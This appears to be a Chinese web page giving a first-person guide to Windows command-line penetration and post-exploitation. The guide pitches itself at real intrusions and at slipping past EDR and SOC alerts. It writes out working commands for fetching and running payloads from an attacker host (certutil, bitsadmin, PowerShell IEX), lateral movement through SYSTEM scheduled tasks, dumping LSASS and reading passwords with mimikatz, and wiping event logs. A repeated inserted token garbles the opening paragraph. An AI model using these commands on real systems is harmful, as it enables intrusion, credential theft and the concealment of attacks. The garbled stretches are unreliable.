当前位置:首页 > 探索

cmd渗透命令

拿到一台Windows机器,透命第一件事不是透命翻文件,是透命敲whoami。这命令三秒钟出结果,透命告诉你当前跑在什么权限下。透命如果是透命nt authority\system,恭喜,透命不用提权了。透命如果只是透命个普通域用户,后面还有得折腾。透命很多人上来就急着找flag,透命结果卡在权限不够读不了SAM文件,透命回头补课反而更费时间。透命

信息收集阶段,透命systeminfo比想象中重要。透命它把补丁编号全列出来,配合wmic qfe list brief交叉比对,能快速定位缺失的KB。我遇到过一台Server 2012,systeminfo显示打了MS17-010的补丁,但wmic查出来实际没装——系统信息缓存骗人。这种时候信wmic,别信那个图形界面的更新记录。

网络层面,netstat -ano是基本功。重点看LISTENING状态的端口和对应的PID。有次内网渗透,目标机器上跑着一个8080端口的Java服务,PID指向一个叫tomcat.exe的进程,但路径在C:\Users\Public\下面。正常Tomcat不会装那儿。顺手tasklist /svc一看,那PID对应的服务名是空的。基本可以判定是有人留的后门webshell容器。这种细节,扫描器扫不出来,得靠手工看。

文件传输是个麻烦事。certutil -urlcache -split -f http://yourhost/payload.exe C:\Windows\Temp\p.exe这条命令救过很多次场。它调用的是Windows自带的证书服务工具,不依赖PowerShell执行策略,也不触发AMSI。但有个坑:目标机器如果装了某些EDR,certutil下载行为会被拦截。备选方案是bitsadmin /transfer job /download /priority normal http://host/file C:\path\file,BITS服务默认启动,隐蔽性稍好。再不行就用powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://host/script.ps1')",但这条命令的特征太明显,基本活不过三秒。

横向移动绕不开net use。先net view /domain看域内机器列表,再net use \\target\c$ /user:domain\admin password建立IPC连接。成功之后copy payload.exe \\target\c$\Windows\Temp\,接着schtasks /create /s target /tn update /tr C:\Windows\Temp\payload.exe /sc once /st 00:00 /ru system创建计划任务。这套流程在域环境里跑了十几年,现在仍然有效,只要目标没开LAPS或者Credential Guard。

凭据抓取方面,procdump配合mimikatz是经典组合。先procdump -ma lsass.exe lsass.dmp把内存转储出来,再离线用mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"读取明文或哈希。注意,Windows 10 1809之后默认开启LSA保护,procdump可能直接失败。这时候试试comsvcs.dll的MiniDump导出:rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump C:\temp\lsass.dmp full。这招在不少实战中还能用,因为rundll32是白名单进程。

清理痕迹别只删文件。wevtutil cl system清系统日志,wevtutil cl security清安全日志,但这两个命令本身会被记录。更稳妥的做法是powershell -c "Clear-EventLog -LogName System,Security,Application",或者直接删掉C:\Windows\System32\winevt\Logs\下的evtx文件。不过删日志这个动作太敏感,很多SOC会专门告警。有时候不删反而更安全——混在正常日志里,比空白一片更不容易被注意到。

最后说个观察:现在很多教程还在教net user hacker password /add和net localgroup administrators hacker /add。这两条命令在实战中几乎等于自爆。域环境里加本地管理员,事件ID 4732直接触发告警。用wmic useraccount where name='hacker' set password='P@ssw0rd'改现有账户密码,或者直接runas /savecred复用已保存的凭据,都比新建账户安静得多。工具是死的,怎么用是活的。

分享到: